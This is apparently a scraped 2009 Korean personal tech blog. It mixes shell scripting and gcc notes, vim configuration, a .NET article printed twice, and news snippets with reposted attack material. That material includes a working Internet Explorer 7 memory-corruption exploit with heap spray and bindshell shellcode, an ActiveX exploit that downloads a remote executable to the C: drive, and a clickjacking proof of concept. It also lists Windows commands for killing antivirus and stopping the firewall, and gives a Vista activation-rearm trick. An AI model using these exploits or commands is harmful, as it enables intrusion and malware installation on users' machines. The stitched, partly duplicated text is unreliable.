str1 = str2 <= 두 문자가 같으면 true
str1 != str2 <= 두 문자가 같이 않으면 true
-n str1 <= str1이 널(빈 문자열)이 아니면 true
-z str1 <= 문자열이 널(빈 문자열)이면 true

산술 비교
exp1 -eq exp2 <= 두 표현식이 같으면 true
-ne <= 두 표현식이 같지 않으면 true
-gt <= 왼쪽이 크면 true
-ge <= 왼쪽이 크거나 같으면 true
-lt <= 왼쪽이 작으면 true
-le <= 왼쪽이 작거나 같으면 true
! exp <= exp가 false면 true이고 그 역도 성립

파일 비교
-d file <= file이 디렉토리면 true
-e <= file이 존재하면 true(-e는 유닉스에서 잘 안 될수도 있기 때문에 -f가 흔히 사용됨)
-f <= 보통파일이면 true
-g <= set-group-id가 file이 설정되면 true(set-gid는 프로그램에게 자신의 그룹의 권한을 줌)
-r <= 파일을 읽을 수 있으면 true
-s <= 파일 크기가 0이 아니면 true
-u <= set-user-id가 file에 설정되면 true(set-user는 프로그램에게 자신의 사용자가 아닌 소유자의 권한을 줌)
-w <= 파일에 쓸 수 있으면 true
-x <= 파일이 실행 가능하면 true

echo 호환여부
echo -e는 모든 시스템에서 지원은 안 됨
bash는 echo -n을 지원하여 read시 줄 바꿈을 없애줌

FOR문 <= 지저분한다 다른 언어랑 좀 틀리다 ㅡㅡ; 버려!
#!/bin/sh
for foo in bar1 bar2 bar3
do
echo $foo
done
exit 0

결과는
bar1
bar2
bar3

#!/bin/sh
for foo in "bar1 bar2 bar3"
do
echo $foo
done
exit 0

결과는(bar1 bar2 bar3를 한 문자로 인식)
bar1 bar2 bar3

WHILE문
문자비교
#!/bin/sh
while [ "$data" = "true" ]
do
...
done

숫자비교 <= 우리가 일반적으로 쓰는 FOR문 대체
#!/bin/sh
data=1
while [ "$data" -le 20 ]
do
...
data=$(($data+1))
done

UNTIL문(명령줄에서 전달한 로그인 이름을 가진 사용자가 로그온 할 때 작동하도록 알람을 설정)
#!/bin/sh
until who | grep "$1" > /dev/null
do
sleep 60
done

echo "**** $1 has just logged in ****"
exit 0

CASE문(다른 언어에서는 switch문 이라고도 함)
case "$data" in
yes | zz ) echo "yes or zz";;
no ) echo "no";;
y ) echo "y";;
n ) echo "n";;
p* ) echo "p char start string";;
* ) echo "etc default";;
esac

AND 리스트
touch file_one
rm -f file_two
if [ -f file_one ] && echo "hello" && [ -f file_two ] && echo " there"
then
echo "in fi"
else
echo "in else"
fi
exit 0

결과는(file_one는 있으므로 hello를 출력하고 file_two는 없으므로 there를 출력하지 않고 else이 in else를 출력함)
hello
in else

OR 리스트
rm -f file_one
if [ -f file_one ] || echo "hello" || echo "there"
then
echo "in if"
else
echo "in else"
fi
exit 0

결과는(file_one가 없지만 OR 조건이므로 hello를 출력하고 in if를 출력함
hello
in if

SUB함수 쓰는 방법
#!/bin/sh

foo() {
echo "Function"
}
echo "script start"
foo
echo "script end"
exit 0

결과값
script start
Function
script end

SUB함수에서 지역변수는 local data="hahaha" 로 선언함

SUB함수 결과값 return 하기
#!/bin/sh
yes_or_no() {
echo "Is your name $* ?"
while true
do
echo -n "Enter yes or no: "
read x
case "$x" in
y | yes ) return 0;;
n | no ) return 1;;
* ) echo "Answer yes or no"
esac
done
}
echo "Rriginal parameters are $*"
if yes_or_no "$1" <= Rick Neil에서 첫번째 Rick만 넘김
then
echo "Hi $1, nice name"
else
echo "Naver mind"
fi
exit 0

결과값은
$ ./my_name Rick Neil
Original parameters are Rick Neil
Is your name Rick ?
Enter yes or no: yes
Hi Rick, nice name

1Day Study

2009-02-27T00:58:00.000-08:00

1Day Study
[[[[[리눅스와 C 기본]]]]]
/bin: 바이너리, 시스템을 부팅하는 데 사용되는 프로그램
/usr/bin: 사용자 바이너리, 사용자가 사용할 수 있는 표준 프로그램
/usr/local/bin: 로컬 바이너리, 설치에 사용되는 프로그램

실행파일 만들기
gcc -o hello hello.c

헤더파일 디렉토리 지정
gcc -I/usr/openwin/include fred.c

라이브러리를 지정하여 실행파일 만들기
gcc -o fred fred.c /usr/lib/libm.a
gcc -o fred fred.c -lm
gcc -o fred fred.c -L/usr/lib/ -lm

테스트 오브젝트 파일 만들기
gcc -c bill.c fred.c
lib.h 파일 작성 후 테스트 오브젝트 파일의 펑션들 선언 <= 컴파일러가 에러를 찾을 수 있도록 도와줌
void bill(char *);
void fred(int);

오브젝트 파일을 링크해서 실행파일 만들기
gcc -c program.c <= #include "lib.h" 선언된 파일
gcc -o program program.o bill.o

오브젝트 파일을 정적 라이브러리로 만들기
ar crv libfoo.a bill.o fred.o

버클릭 유닉스계열을 위해서 목차표로 만들기
ranlib libfoo.a

정적 라이브러리를 이용한 실행파일 만들기
gcc -o program program.o libfoo.a
gcc -o program program.o -L. -lfoo <= -lfoo는 libfoo.a 또는 libfoo.so를 참조함

사용한 함수명 파악하기
mn ./libfoo.a
mn ./program

공유 라이브러리는 확자가가 .so 임
사용되는 공유 라이브러리 파악하기
ldd program

도움말보기
man은 간략하게 보기
info는 자세하게 보기(info를 위한 도움말 ctrl+H)

warning: incompatible implicit declaration of built-in function 'exit'

2009-02-26T18:11:00.000-08:00

warning: incompatible implicit declaration of built-in function 'exit'
reason stdlib.h not inlude

#include < stdio.h>
#include < stdlib.h> <= append

MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2)

2009-02-26T17:37:00.000-08:00

< script language="JavaScript">

// Skyland win32 bindshell (28876/tcp) shellcode
// If you want an evill Shellcode go ahead !!!

var shellcode=unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");

var array = new Array();

//Don't need change but for execute time you can change ;)

var calc = 0x100000-(shellcode.length*2+0x01020);

// Spray or Not :-??

var point = unescape("%u0D0D%u0D0D");
while(point.length< calc) { point+=point;}
var sec = point.substring(0,calc/2);
delete point;

for(i=0; i< 0xD0; i++) {
array[i] = sec + shellcode;
}

// N/A Code

CollectGarbage();

var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x< 500;x++) a1.push(document.createElement("img"));
o1=document.createElement("tbody");
o1.click;
var o2 = o1.cloneNode();
o1.clearAttributes();
o1=null; CollectGarbage();
for(var x=0;x< a1.length;x++) a1[x].src=s1;
o2.click;
< /script>

CentOS 에서 putty로 vim color 사용하기

2009-02-26T17:31:00.000-08:00

1. 설치하기
[root@localhost ~]# rpm -qa|grep vim
vim-enhanced-7.0.109-3.el5.3
vim-minimal-7.0.109-3.el5.3
vim-common-7.0.109-3.el5.3
[root@localhost ~]#

위의 3가지 rpm이 설치되어 있는지 확인하세요. 특히 초기 설치시에는
vim-enhanced-7.0.109-3.el5.3 패키지가 설치되지 않아서 그런듯 합니다.

[root@localhost ~]# rpm -ql vim-enhanced
/etc/profile.d/vim.csh
/etc/profile.d/vim.sh
/usr/bin/ex
/usr/bin/rvim
/usr/bin/vim
/usr/bin/vimdiff
/usr/bin/vimtutor
/usr/share/man/man1/rvim.1.gz
/usr/share/man/man1/vimdiff.1.gz
/usr/share/man/man1/vimtutor.1.gz
[root@localhost ~]#

설치는 yum install vim-enhanced -y

2. vi를 vim으로 alias 걸어주기
$HOME 디렉토리의 .bashrc 이용 혹은 /etc/bashrc 파일에 추가
alias vi='vim'
추가해주고 실행(. .bashrc)

3. $HOME에 .vimrc 설정
(전체 사용자에게 설정되게 하려면 /etc/vimrc 파일에 내용 추가)

set term=xterm-color " color 설정에 필요함
syntax on " color 설정에 필요함
set nu " 라인 번호
set ai " 자동으로 들여쓰기를 한다.
set bs=2 " allow backspacing over everything in insert mode
set cindent " C 프로그래밍을 할 때 자동으로 들여쓰기를 한다.
set smartindent " 좀 더 똑똑한 들여쓰기를 위한 옵션
set ruler " 화면 우측 하단에 현재 커서의 위치 표시
set tabstop=4 " Tab 크기를 4로 설정
set shiftwidth=4 " 자동들여쓰기 크기를 4로 설정
set history=999 " 이전 작업하던 라인을 기억한다.
set pastetoggle= " 자동들여쓰기 기능 (Paste 시에는 Off 하는게 좋다)
set fileencoding=euc-kr " UTF-8을 기본 저장포맷으로
set encoding=euc-kr " UTF-8을 기본 읽기포맷으로
set termencoding=euc-kr " 단 터미널은 euc-kr로
set showmatch " 입력시 괄호를 닫을때 그와 쌍이 되는 괄호를 깜빡
set paste
hi Statement ctermfg=Yellow
hi Comment ctermfg=Gray
hi Type ctermfg=LightGreen
colorscheme seoul

4. 추가 color 설정
.vimrc 파일에
colorscheme [scheme파일명]
scheme파일은 /usr/share/vim/vim70/colors 에 확장자 vim으로 위치시킴
(파일 다운 http://www.cs.cmu.edu/~maverick/VimColorSchemeTest/index-c.html )
즉 colors 폴더에 있는 desert.vim을 적용시키고자 한다면 .vimrc 파일에
colorscheme desert
추가하면 됨.

VS2008ProEdition90DayTrial Download URL

2009-02-24T17:19:00.001-08:00

Download

The Future of .NET Languages

2009-02-24T16:10:00.000-08:00

The Future of .NET Languages
At this year's Professional Developers Conference (PDC 2008), Microsoft® was quite forthcoming with specifics
about the future for developers on the Microsoft .NET® platform. In this article, we will take a quick look at some of the
upcoming features in the .NET 4.0 Framework, the new Microsoft F#® language, and discuss the long-term vision
Microsoft has for the .NET Platform in the years to come.
Co-Evolution for VB.NET and C#
One of the most prominent messages coming from Microsoft right now is geared towards Microsoft Visual
Basic® .NET developers. VB.NET and Microsoft Visual C#® are both built on top of the Common Language Runtime
(CLR), which means they both compile down into the same Common Intermediate Language (CIL). Since they both
compile down to the same code, there should be no intrinsic benefit of one language over another. However, both
languages are maintained by separate teams at Microsoft, and over the years this separation has led to a variety of
language-specific features in both C# and VB.NET as the teams focus on different areas with their respective
products. Many VB.NET developers feel that the most exciting new features appear in C# first and are only later
introduced into VB.NET. Naturally, this has generated a bit of animosity in the VB.NET community.
Co-evolution is a promise from Microsoft that recognises VB.NET and C# as equally important languages, and
guarantees that as new language features evolve, those features will be incorporated into both languages
simultaneously. No longer will you need to second guess your decision to go with a particular language for want of a
particular feature, and the debate between which language is "better" will be reduced back down to syntactic
preference. And while C# developers will probably have a lingering superiority complex with which VB.NET developers
will have to contend, all VB.NET developers need to do is remind the C# devs that it's all the same under the covers.
Introducing the Dynamic Language Runtime
Microsoft is acutely aware that the .NET Framework is not the only choice for building applications. All you have to do
is take a quick glance around the development sphere and you'll find a number of language options, and that number
is only expected to rise as domain-specific languages emerge. People are spending time and energy writing useful
components in these languages, so the question is, how can you use a component written in another language
without having to rewrite it in .NET?
Perhaps the most exciting new feature in the upcoming .NET 4.0 release is the Dynamic Language Runtime (DLR). In
as much as the Common Language Runtime (CLR) provides a common platform for statically typed languages like
VB.NET and C#, the Dynamic Language Runtime provides a common platform for dynamically typed languages like
JavaScript, Ruby, Python, and even legacy COM components. It represents a major leap forward in language
interoperability for the .NET Framework, providing an abstraction of language operations, shared memory space to
avoid marshalling data back and forth between processes, a common set of language features like garbage
collection, and the plumbing to convert different representations of data from one language to another.
At a high level, you can think of the Dynamic Language Runtime as having three layers (see figure 1 below):
l .NET Language Integration
l DLR Core Components
l Language Binders
Figure 1. Dynamic Language Runtime (Slide courtesy of Anders Hejlsberg and Jim Hugunin's presentation at PDC
2008.)
The first layer, .NET Language Integration, simply represents the need for .NET languages to have a notion of what
By Damon Armstrong , published on 09 Jan 2009 Comments (1) PDF
the DLR is and how to use it. For the most part, you won't even notice this aspect of the DLR because most of
the .NET languages had a natural integration point. IronRuby and IronPython are both dynamically typed languages,
so the DLR fit right in. VB.NET has always supported the notion of late binding on the Object type, so the DLR
incorporated nicely into late binding resolution. C#, however, has no notion of late binding and needed an additional
static type for dynamic language support. It's called the dynamic type, and we'll talk about it in more detail a bit later.
The second layer is the Dynamic Language Runtime itself, which consists of three core components: Expression
Trees, Dynamic Dispatch, and Call Site Caching. An Expression Tree is a representation of code in the form of a tree,
which helps abstract languages into a consistent format on which the DLR can operate. Once dynamic code is in a
tree representation, the DLR can look at the tree and generate CLR code from that tree for actual execution. Parsing
dynamic code into an expression tree and then building the CLR is an expensive operation, so the DLR employs a
performance technique known as Call Site Caching to avoid having to "recompile" the dynamic code each time it's
called. Dynamic Dispatch ensures that appropriate Language Binders are used for dynamic invocations.
Language Binders, which make up the third layer, are language-specific implementations of certain operations the
Dynamic Language Runtime needs to understand about each language that wishes to participate in the DLR.
Of course, the DLR is far more detailed than this brief overview can provide. For more information on all of its
intricacies, please watch Jim Hugunin's PDC talk on Dynamic Languages in .NET.

Figure 1. Dynamic Language Runtime (Slide courtesy of Anders Hejlsberg and Jim Hugunin's presentation at PDC
2008.)
The first layer, .NET Language Integration, simply represents the need for .NET languages to have a notion of what
By Damon Armstrong , published on 09 Jan 2009 Comments (1) PDF
the DLR is and how to use it. For the most part, you won't even notice this aspect of the DLR because most of
the .NET languages had a natural integration point. IronRuby and IronPython are both dynamically typed languages,
so the DLR fit right in. VB.NET has always supported the notion of late binding on the Object type, so the DLR
incorporated nicely into late binding resolution. C#, however, has no notion of late binding and needed an additional
static type for dynamic language support. It's called the dynamic type, and we'll talk about it in more detail a bit later.
The second layer is the Dynamic Language Runtime itself, which consists of three core components: Expression
Trees, Dynamic Dispatch, and Call Site Caching. An Expression Tree is a representation of code in the form of a tree,
which helps abstract languages into a consistent format on which the DLR can operate. Once dynamic code is in a
tree representation, the DLR can look at the tree and generate CLR code from that tree for actual execution. Parsing
dynamic code into an expression tree and then building the CLR is an expensive operation, so the DLR employs a
performance technique known as Call Site Caching to avoid having to "recompile" the dynamic code each time it's
called. Dynamic Dispatch ensures that appropriate Language Binders are used for dynamic invocations.
Language Binders, which make up the third layer, are language-specific implementations of certain operations the
Dynamic Language Runtime needs to understand about each language that wishes to participate in the DLR.
Of course, the DLR is far more detailed than this brief overview can provide. For more information on all of its
intricacies, please watch Jim Hugunin's PDC talk on Dynamic Languages in .NET.

고양이보다 큰 ‘슈퍼쥐’ 잡혀

2009-02-22T04:58:00.000-08:00

고양이보다 큰 ‘슈퍼쥐’ 잡혀

▲ 슈퍼쥐를 잡은 셴 씨의 모습

중국에서 고양이보다 큰 '슈퍼쥐'가 잡혀 화제가 되고 있다. 지난 15일, 중국 푸젠(福建)성 푸저우(福州)시의 한 마을에 사는 셴(鲜) 씨는 우연히 이웃동네를 지나다가 사람들에게 둘러싸인 큰쥐를 발견했다.

당시 큰쥐는 바닥을 천천히 기어가고 있었고, 구경꾼들은 초대형 쥐의 출현에 어쩔줄 몰라 가만히 지켜보고만 있었다. 하지만 셴 씨는 언듯 보기에 생김새가 집에서 기르는 토끼와도 같고, 그 크기가 고양이보다 커 보통 쥐는 아닐 것이란 생각에 문제의 쥐를 잡아 집으로 돌아왔다.

집으로 돌아온 셴 씨는 바로 쥐를 자세히 살펴봤는데 쥐의 꼬리는 30cm가 넘었고, 두께는 성인의 엄지손가락보다 두꺼웠다. 또한 털은 뾰족하게 서있어 마치 쇠가시와 같았고, 입에는 날카로운 2cm가량의 이빨이 나있어 보는이로 하여금 위협감을 줬다.

이후 푸저우시산림청 관계자의 확인 결과 문제의 초대형 쥐는 '대나무쥐'로 밝혀졌으며, 셴 씨와 논의해 대나무쥐를 처리할 방법을 찾고 있는 것으로 전해졌다.

i-doser 사이버 마약?

2009-02-18T15:48:00.000-08:00

The I-Doser application scientifically syncs your brainwaves to achieve a specific mood or experience, as outlined by the dose you are taking. It does this through the use of a binaural beat dose that changes your brainwave patterns to make you feel a certain way. Binaural brainwave doses for every imaginable mood. I-Doser includes two free one-time-use doses: Alcohol and Content. I-Doser uses SbaGen as it's binaural beat engine, and is licensed by Jim Peters.

Version 4.5 may include unspecified updates, enhancements, or bug fixes.

Homepage URL : http://www.i-doser.com/

음.. 요즘 떠들석한 i-doser 라는 한국에서는 사이버 마약이라고 불린다 ㅍ
테스트를 하기 위해서 함 받았다
아직 테스트는 못 해봤다
PPC에서 가능하도록 mp3로 받는 주소
밑에 클릭해서 받으세요(torrent 로 받습니다) 사이즈는 1,998,162KB
Download(다운로드)

혹시 torrent 프로그램 없으신 분은
utorrent Download

확실하게 플레이어까지 제공되는 i-doser 다운은
Download(다운로드)

혹시 위에 주소가 안되면 밑의 주소로 가서 받으세요
http://www.download.com/I-Doser/3000-2054_4-10396009.html
용량은 7.559KB 입니다

홈페이지 보안 강화 도구(CASTLE) 보급 안내

2009-02-11T23:52:00.001-08:00

바로 설치해봤는데 깔끔하군요.

□ CASTLE의 주요기능
o 보안성 강화
- OWASP 10대 주요 취약점 해결
- 소스코드 수준의 웹 어플리케이션 보안성 강화

o 사용자 편리성 강화
- 관리기능으로 편리한 정책 설정 지원
- 운영 중인 프로그램 소스의 최소 수정으로도 적용 가능
o 높은 호환성 지원

- 다양한 웹 서버 환경과 웹 어플리케이션에서 동작할 수 있는 호환성 지원

□ 기대효과
o CASTLE 확산으로 국내 웹 어플리케이션의 보안성 향상
o 개발자들은 개발 단계에서부터 CASTLE 통합적으로 적용하여 보안성 강화
o 서버 관리자들은 편리한 사용과정을 통해 기존 웹 어플리케이션 수정용이

최근 공격자들이 국내 홈페이지를 해킹하여 악성코드 유포 및
개인정보 탈취하는 사례가 지속적으로 발생하고 있습니다.

이에, 한국정보보호진흥원에서는 홈페이지의 보안성을 강화하는
"홈페이지 보안 강화도구(CASTLE)"를 배포하고 있습니다.

사용을 희망하는 회사(기관)나 개인 사용자 분들은 아래의 프로그램과
설명서를 다운받아 사용하시기 바랍니다.

○ CASTLE 다운로드(ASP, PHP, JSP)
○ CASTLE 사용자 설명서 다운로드
○ CASTLE 설치 가이드 다운로드
○ CASTLE FAQ 다운로드
○ 문의 및 기술 지원(Tel : 02-405-5617, EMAIL : castle@krcert.or.kr)

※ CASTLE를 홈페이지에 적용하면, 주요 취약점을 공격하는 침입시도 및 공격코드들을
차단할 수 있습니다. 또한 개발 중이거나, 운영 중인 홈페이지에 약간의 수정을 통해 쉽게
적용 가능하고, 적용 후 CASTLE의 관리 기능으로 손쉽게 관련 정책이나, 설정을 수정할
수 있습니다.

출처 : http://www.krcert.or.kr/index.jsp My Hack3d St0ry

국내 크래커 웹쉘 업로드 공격

2009-02-11T23:47:00.000-08:00

최근 저희 관제대역에 심심치 않게 잡히는 웹쉘이 있어 확인해 보니 국내 IP사용자로 아래와 같은 웹쉘을
업로드 하고 있습니다.

웹쉘 소스를 보면 아래와 같습니다.

사용중인 ip는 국내 KT 메가패스IP를 사용중이며 proxy 는 아닌것으로 확인되네요

위 웹쉘로 1월말부터 오늘까지 간간히 시도가 있으니 참고하시기 바랍니다.

출처 : My Hack3d St0ry

윈도우 XP 2090 바이러스관련 보안패치 KB958644

2009-02-11T23:43:00.000-08:00

http://www.microsoft.com/korea/technet/security/bulletin/ms08-067.mspx

MS08-067취약점(08년 10월에 보안 패치 발표)을 이용한 2090 바이러스가 최근
유행하고 있습니다.

보안 패치가 안 되어 있을 경우 네트워크 공유, USB등을 통해서 전파가 되며
감염이 될 경우 현재 백신으로 대응이 안 될 경우에는 Windows를 재설치하는 수 밖에
없는 악성 바이러스입니다.

증상으로는 Windows의 날짜가 2090년 1월 1일 오전 10시로 바뀌며 Windows 로그인이
불가능하도록 만들어 PC를 전혀 사용할 수 없게 만듭니다.

백신 엔진이 업데이트 되어 있는 경우 대응이 가능하나 계속해서 변종이 만들어지는
것으로 추측되며 이 경우 보안 패치가 안 되어 있는 PC는 백신이 설치되어있다고 해도
예방이 불가능합니다.

보안 패치는 자동 업데이트가 설정되어 있는 PC는 이미 설치가 되어 있을 것입니다만
수동으로 패치를 하시는 분은 시작 메뉴의 Windows Update 또는 아래 사이트를 통해서
패치 파일을 받아서 설치하시면 됩니다.

WindowsXP_KB958644_x86_KOR.exe

출처 : My Hack3d St0ry

중국 해커들이 자주쓰는 해킹 명령어

2009-02-11T23:41:00.000-08:00

1. ver - 시스템 버전 확인

2. tasklist - 사용중인 프로세서 나열

3. taskkill - 프로세서를 선별적으로 죽일수 있다.
사용법: taskkill /f /im 360safe.exe 혹은 taskkill /f /pid 3389

4. net start - 프로세서 시작 명령어
사용법: net start net start w3svc(iis 시작)

5. net stop - 지정된 서비스를 중지한다
사용법: net stop net stop sharedaccess (windows 방화벽 중지)

6. cacls - 파일 권한을 변경 및 실행
사용법: cacls c:\windows\mm.exe /P everyone:R혹은 caclsc:\progra~1\rising\ravmond.exe /d:everyone

7. & - 여개의 명령을 집행한다
사용법:del c:\windows\system32\sethc.exe & del c:\windows\system32\dllcache\sethc.exe

8. echo y| - “결정(Y/N)을 ? 제시문이 나오면 자동으로 Y를 입력한다
사용법:echo y|echo y|cacls c:\windows\mm.exe /P everyone:R;

9. net user/group

10. shutdown

Internet Explorer 7 Clickjacking

2009-02-04T16:08:00.000-08:00

#############################################################
# Application Name : I.nternet Explorer 7
# Vulnerable Type : Clickjacking
# Author : UzmiX
#############################################################
< ------------------- header data end of ------------------- >
< html>
< body>
< div id="open"
onmouseover="document.location='http://www.uzmix.net';"
style="position:absolute;width:8px;height:7px;background:#FFFFFF;border:1px">< /div>
< script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
< /script>
< center>
< br>
< br>
< a href="http://www.google.com" onclick="updatebox(event)">< font
style="font-family:arial;font-size:32px">http://www.google.com< /font>< /a>
< /html>

# milw0rm.com [2009-01-29]

ExcelOCX ActiveX 3.2 (Download File) Insecure Method Exploit

2009-01-12T15:39:00.000-08:00

<html>
<body>
/*
--=0-0-000000000--x==-xxxxxxxxx<br/>
-
Excel Viewer OCX 3.2 <br/>
homepage: www.officeocx.com <br/>
download: www.brothersoft.com/excel-viewer-ocx-51797.html <br/>

- RegKey Safe for Script: True<br/>
- RegKey Safe for Init: True <br/>
- Implements IObjectSafety: True <br/>
- IDisp Safe: Safe for untrusted: caller,data <br/>
- IPersist Safe: Safe for untrusted: caller,data <br/>
- IPStorage Safe: Safe for untrusted: caller,data <br>
- Tested on Avant Browser 11.7.21 ie 6
<br/>
Vuln: <br/>
1) Arbitrary File Download [HttpDownloadFile]<br/>
2) Arbitrary file owerwrite [Save] <br/>
<br/>
--==0-0000000011011110=== <br/>

Propably it worst apps i ever see <br/>
this is funy that It is meant as Safe for scripting <br/>
They want sell it l0l <br/>

---000----------++++---------------000 <br/>
Alfons Luja <br/>
Pozdrawiam swoich fano'F <br/>
9002 <br/>
:P <br/>
00 -0000000000000000===------------------x <br/>
*/<br/>

<div style="visibility:hidden;">
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B965' id='kupa'></object>
<script type="text/javascript">
/*
I dont know why but this code act correct only first time
later it just crash ie
In avant browser always is ok but it is necessary to wait a lot time
to finsh loading
- strange :x
*/

try{
var obj = document.getElementById('kupa');
var rem = "http://www.adalex.pl/motyl/motyl-radio.exe";
var loc = "C:\evil.exe";
obj.Save("C:\owerwrite.ini");
obj.HttpDownloadFile(rem,loc);
}
catch(err){
window.alert('Poc failed');
}
</script>
</div>
</body>
</html>

Hack Windows Vista Activation

2009-01-05T21:28:00.001-08:00

How miserly is that Windows Vista gives you only one month of trial for a whole damn Operating system? I can understand it for a registry cleaner or an antivirus software. But for an OS, isn't it too low? So here is a legal way to increase it and forget about registering by pay.

1. check the activation expiry date with the command: slmgr -xpr
2. Go to bottom left corner
3. Navigate to this path:
HKLM\SOFTWARE \Microsoft\Windows NT\CurrentVersion\SL
4. Double-click SkipRearm and change the value to 1.
5. Note: this registry hack does not make any sense on a machine which has already been activated!
6. Now remember to run the 30 day extension command: slmgr -rearm
7. Restart the machine. After it reboots, run slmgr -xpr and check the expiry date.
8. Check the registry setting SkipRearm, slmgr resets the value to zero.

[Note: we don't encourage you to use these techniques (taken from computerperformance.co.uk) because we do not practice them ourselves. But if you do, don't forget to leave a feedback and also before playing with the registry do not forget to make a backup]

Web Application Firewall

HP SWFScan

Anti Debug

Table of Contents

Introduction

Background

Inline Functions

Breakpoints

INT 3

Memory Breakpoints

Hardware Breakpoints

Timing Attacks

RDTSC

Win32 Timing Functions

Windows Internals

ProcessDebugFlags

Debug Object Handle

Thread Hiding

BlockInput

OutputDebugString

Process Exploitation

Open Process

Parent Process

Self-Debugging

UnhandledExceptionFilter

NtQueryObject

Anti-Dumping

Nanomites

Stolen Bytes (Stolen Code)

SizeOfImage

Virtual Machines

Guard Pages

Removing the Portable Executable Header

IA-32 Instruction Exploits

Interrupt 2D

Stack Segment

Instruction Prefixes

OllyDBG Specific

FindWindow

OutputDebugString Exploit

WinDBG Specific

FindWindow

Other Techniques

Junk Code

Native Code Permutations

Citations

OnLine Navigation v0.3

티스토리에 구글 애드센스 코드 넣기

SQLite GUI 툴중에 가장 좋은거

나의 하드에 보안 영역(EISA 구성)을 만들어 보자

CentOS 5.2에서 JAVA 업데이트

CentOS 5.2에서 X Windows 해상도 변경 및 화면 회전(피봇)

CentOS 5.2에서 Eclipse 설치하기

Xming으로 Windows에서 Xwindow를 원격접속하기

MinGW + Eclipse 를 이용한 Windows 개발 환경 구현

15Day Study

중국 쪽도 해킹 처벌이 생기는 군요 ㅋ

출근시간 교통정보(구파발->충정로역)

Perl 정규표현식

Perl 문자열 처리

SSH Auto Login with Perl(Ouput String Parse)

14Day Study

13Day Study

또 다른 fork 예

12Day Study

홍제동 차량 정체에 대해서 민원 넣습니다

11Day Study

10Day Study

9Day Study

Google App Engine

8Day Study

7Day Study

6Day Study

사자도 굶어 죽는다

5Day Study

4Day Study

3Day Study

2Day Study

1Day Study

warning: incompatible implicit declaration of built-in function 'exit'